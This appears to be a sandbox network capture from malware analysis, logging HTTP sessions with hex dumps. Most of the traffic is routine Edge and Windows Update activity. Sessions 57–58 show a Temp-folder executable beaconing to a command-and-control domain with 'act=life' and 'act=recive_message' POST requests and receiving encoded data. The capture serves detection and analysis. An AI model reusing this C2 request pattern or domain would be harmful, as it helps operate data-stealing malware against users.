2024-11-08 14:21:20 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49834	23.38.189.114	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:21 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:21 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 27 Oct 2024 03:02:23 GMT X-Datacenter: eastus X-ActivityId: d134abc4-5b3f-4977-a14b-5e1cfd5c1a9b Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 62552 Content-Length: 8192 Cache-Control: public, max-age=132308 Expires: Sun, 10 Nov 2024 03:06:29 GMT Date: Fri, 08 Nov 2024 14:21:21 GMT Connection: close
2024-11-08 14:21:21 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49835	23.38.189.114	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:22 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:22 UTC	549	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 03 Nov 2024 13:30:12 GMT X-Datacenter: northeu X-ActivityId: 7f006101-ea16-4553-afba-408982c6df36 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 95457 Content-Length: 8192 Cache-Control: public, max-age=385742 Expires: Wed, 13 Nov 2024 01:30:24 GMT Date: Fri, 08 Nov 2024 14:21:22 GMT Connection: close
2024-11-08 14:21:22 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	49836	23.38.189.114	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:22 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:23 UTC	551	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Sun, 03 Nov 2024 02:05:25 GMT X-Source-Length: 1437868 X-Datacenter: eastus X-ActivityId: 50a6369b-9161-4b0b-97cd-1ca7d7e66bd7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=344741 Expires: Tue, 12 Nov 2024 14:07:04 GMT Date: Fri, 08 Nov 2024 14:21:23 GMT Connection: close
2024-11-08 14:21:23 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	49837	23.218.232.185	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:26 UTC	620	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1731680465&P2=404&P3=2&P4=feANQp%2f%2fAPptG1c%2bBS7aGuFKoVytyiV6QEy3zsiNnoOMys0Qyr8JXHagir9PWfcTW3P9YhISV8X5jNpM%2bWgk9Q%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: MDWF9Sv9tYni3lLjo5WdGG Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:26 UTC	1247	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: a30792a1-e43d-4521-b9ea-ac3d7d819e62 MS-RequestId: 6d154753-539f-49b2-a179-9526d5f4ced0 MS-CV: rnL77OnQ5ScZk1HlJ5L1Z/.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86390 Date: Fri, 08 Nov 2024 14:21:26 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.193.38.61,b=1972512954,c=g,n=US_TX_IRVING,o=20940],[c=p,n=US_TX_IRVING,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.3d26c117.1731075686.759228ba Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-08 14:21:26 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	49841	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:31 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6c7ZM87kbK1FEhL&MD=8OcbMNE9 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-08 14:21:31 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 87ed4e75-84f5-4ef4-bd41-b349101e7021 MS-RequestId: 3b07466b-aac9-45e0-a32d-519fa6afd0df MS-CV: Zgc7lvla0k6MnonU.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 08 Nov 2024 14:21:30 GMT Connection: close Content-Length: 30005
2024-11-08 14:21:31 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-08 14:21:31 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	49849	188.114.96.3	443	7432	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:58 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: navygenerayk.store
2024-11-08 14:21:58 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-08 14:21:58 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2mprdrcuu3o13bjtql6kl9lmhm; expires=Tue, 04-Mar-2025 08:08:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2guoTaRv12zNeIeaQLW8jNVqcpsXT9x8RSCp0RNLDp9vao8qGoF9P5%2F0YvuuqmP1DXWNy3l%2BibRFmnwGTI2Vi7rGgbD9FD0ZREvSo8%2FxEolQuANnQxf%2BO%2Fffxyi8SE%2FBLFQkZFY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df636672af02c8e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1324&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1963389&cwnd=250&unsent_bytes=0&cid=0c732c863c248818&ts=541&x=0"
2024-11-08 14:21:58 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-08 14:21:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	49851	188.114.96.3	443	7432	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:59 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: navygenerayk.store
2024-11-08 14:21:59 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-08 14:22:00 UTC	1011	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8sql2mn15sn4q1ft72k7utcnel; expires=Tue, 04-Mar-2025 08:08:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=onzrpodHTi07oKfYOpp1LgJUwJS99Cjy5ZExQmEdYW%2FDU5XCXRGHC7tCFflENhYgAmmgASo7MtVMHNFbr4vLqTgivivhlaG7Ix6EJUCyrFOnKIacaojeH%2BkCUISsZWdjEHPo5t8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df6366e5cfd45e7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1094&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2320512&cwnd=246&unsent_bytes=0&cid=c87f4f51a0759a40&ts=701&x=0"
2024-11-08 14:22:00 UTC	358	IN	Data Raw: 34 64 39 0d 0a 4e 43 30 70 32 77 72 6a 56 6c 58 73 65 6f 4c 55 4f 72 79 4b 39 75 56 66 37 38 4c 66 6b 33 39 67 54 51 4f 4c 32 70 78 35 63 4a 74 50 44 31 2f 35 4d 4e 64 36 64 35 38 66 6f 4f 35 4f 7a 76 2b 54 79 58 32 4f 70 76 32 70 47 51 45 68 63 4f 37 32 76 67 38 64 75 51 35 4c 53 4c 64 35 68 6e 70 33 69 51 4b 67 37 6d 48 48 71 4a 4f 4c 66 64 58 67 75 76 6b 64 41 53 46 68 36 72 48 7a 43 52 7a 34 58 45 46 4f 73 32 2b 41 4d 6a 53 41 46 2b 65 78 58 39 33 67 6d 49 77 79 68 36 2f 39 76 31 30 46 4e 79 47 78 2b 4e 45 63 42 50 70 35 54 46 71 77 4b 4a 35 36 4c 73 34 66 37 50 59 41 6e 75 75 54 68 7a 4f 4a 70 72 54 37 46 77 67 70 59 4f 2b 77 37 42 41 57 38 31 78 50 54 62 4a 6c 69 53 59 35 69 68 44 73 74 31 58 64 71 4e 72 48 4f 70 58 67 35 62 46 4f 4d 43 78 77 2b 4b Data Ascii: 4d9NC0p2wrjVlXseoLUOryK9uVf78Lfk39gTQOL2px5cJtPD1/5MNd6d58foO5Ozv+TyX2Opv2pGQEhcO72vg8duQ5LSLd5hnp3iQKg7mHHqJOLfdXguvkdASFh6rHzCRz4XEFOs2+AMjSAF+exX93gmIwyh6/9v10FNyGx+NEcBPp5TFqwKJ56Ls4f7PYAnuuThzOJprT7FwgpYO+w7BAW81xPTbJliSY5ihDst1XdqNrHOpXg5bFOMCxw+K
2024-11-08 14:22:00 UTC	890	IN	Data Raw: 68 50 72 73 30 72 56 34 5a 6d 4b 50 59 43 71 73 76 49 64 42 53 56 72 35 72 4c 36 46 68 2f 2f 56 6b 38 4c 39 79 69 47 4c 48 66 57 57 4d 4f 7a 53 4e 6e 6b 67 73 55 48 7a 62 2f 7a 36 46 30 46 49 79 47 78 2b 50 59 65 45 66 70 64 51 45 69 78 59 35 4d 30 4a 59 67 56 35 61 52 65 32 2b 61 65 68 43 2b 48 72 72 76 79 46 41 6b 6d 5a 4f 36 38 76 6c 56 53 2f 6b 34 50 45 2f 6c 4a 6a 44 38 37 68 41 2f 67 39 6b 65 51 38 64 53 41 4d 63 33 34 2f 66 55 63 42 69 35 6c 35 37 62 36 46 78 54 33 57 30 42 4e 73 32 69 47 50 6a 2b 47 47 65 32 39 56 39 37 74 6d 59 4d 37 67 61 47 34 73 56 4e 43 4b 48 6d 70 34 4c 34 31 46 66 70 45 44 58 36 36 5a 6f 38 7a 49 63 34 48 72 71 38 59 32 65 54 55 33 33 32 44 70 62 4c 6a 48 42 41 71 62 2f 75 30 2b 78 30 66 2b 6c 68 50 54 72 35 6c 6a 7a 49 77 Data Ascii: hPrs0rV4ZmKPYCqsvIdBSVr5rL6Fh//Vk8L9yiGLHfWWMOzSNnkgsUHzb/z6F0FIyGx+PYeEfpdQEixY5M0JYgV5aRe2+aehC+HrrvyFAkmZO68vlVS/k4PE/lJjD87hA/g9keQ8dSAMc34/fUcBi5l57b6FxT3W0BNs2iGPj+GGe29V97tmYM7gaG4sVNCKHmp4L41FfpEDX66Zo8zIc4Hrq8Y2eTU332DpbLjHBAqb/u0+x0f+lhPTr5ljzIw
2024-11-08 14:22:00 UTC	1369	IN	Data Raw: 33 66 39 33 0d 0a 4c 31 73 6a 44 73 2b 68 78 48 79 76 46 54 51 2b 70 6d 4e 4f 49 4f 73 75 50 34 64 41 79 35 76 34 37 4f 2b 56 56 4c 2b 54 67 38 54 2b 55 65 4d 4a 43 57 45 45 2f 48 30 62 64 33 6d 6d 6f 41 72 7a 62 2f 7a 36 46 30 46 49 79 47 78 2b 50 55 64 48 76 56 57 53 56 6d 33 5a 35 4d 2b 4a 59 6f 57 35 4c 70 57 31 2b 57 62 67 69 2b 4a 6f 4b 2f 77 47 41 55 68 62 50 75 39 76 6c 56 53 2f 6b 34 50 45 2f 6c 53 74 54 4d 6e 6e 78 2b 69 67 31 76 51 35 70 4f 52 66 5a 4c 75 70 4c 45 61 44 6d 38 35 71 62 76 79 46 68 76 38 57 56 31 42 74 57 6d 54 4d 7a 36 48 45 75 47 34 56 39 58 6b 6b 5a 55 32 67 71 69 79 38 42 41 50 4a 47 58 70 2b 4c 42 62 46 65 45 57 46 77 75 59 5a 59 34 6d 4e 4a 39 61 31 62 56 57 30 4f 2b 43 78 79 4c 44 75 66 33 32 45 55 4a 33 49 65 69 30 38 68 Data Ascii: 3f93L1sjDs+hxHyvFTQ+pmNOIOsuP4dAy5v47O+VVL+Tg8T+UeMJCWEE/H0bd3mmoArzb/z6F0FIyGx+PUdHvVWSVm3Z5M+JYoW5LpW1+Wbgi+JoK/wGAUhbPu9vlVS/k4PE/lStTMnnx+ig1vQ5pORfZLupLEaDm85qbvyFhv8WV1BtWmTMz6HEuG4V9XkkZU2gqiy8BAPJGXp+LBbFeEWFwuYZY4mNJ9a1bVW0O+CxyLDuf32EUJ3Iei08h
2024-11-08 14:22:00 UTC	1369	IN	Data Raw: 52 45 79 79 59 34 55 77 4e 34 4d 54 37 72 68 52 30 75 43 59 67 43 2b 41 70 62 58 37 46 41 63 6a 62 4f 71 71 2f 52 70 53 74 78 5a 49 55 2f 6b 77 77 52 4d 45 75 54 75 67 71 52 62 48 71 4a 4f 4c 66 64 58 67 76 50 6b 61 44 43 74 7a 35 36 72 77 48 42 4c 2f 58 6b 64 4d 74 57 61 50 4a 6a 2b 50 47 4f 36 35 55 4e 66 73 6c 59 4d 35 67 61 66 39 76 31 30 46 4e 79 47 78 2b 4e 59 59 43 4f 4d 55 59 55 43 35 62 35 45 69 4c 4d 34 48 72 71 38 59 32 65 54 55 33 33 32 4a 71 37 66 34 48 67 73 72 62 4f 6d 78 38 52 49 61 39 46 35 64 53 72 4e 36 68 54 45 32 67 52 4c 6b 76 6c 54 52 35 4a 43 56 4e 73 33 75 2f 66 59 46 51 6e 63 68 79 62 50 6f 4f 41 44 72 46 6c 41 46 6f 43 69 47 4f 48 66 57 57 4f 6d 36 57 64 2f 69 6b 6f 77 34 67 4b 43 34 2b 78 6f 4f 4c 32 48 71 76 76 67 57 47 76 46 Data Ascii: REyyY4UwN4MT7rhR0uCYgC+ApbX7FAcjbOqq/RpStxZIU/kwwRMEuTugqRbHqJOLfdXgvPkaDCtz56rwHBL/XkdMtWaPJj+PGO65UNfslYM5gaf9v10FNyGx+NYYCOMUYUC5b5EiLM4Hrq8Y2eTU332Jq7f4HgsrbOmx8RIa9F5dSrN6hTE2gRLkvlTR5JCVNs3u/fYFQnchybPoOADrFlAFoCiGOHfWWOm6Wd/ikow4gKC4+xoOL2HqvvgWGvF
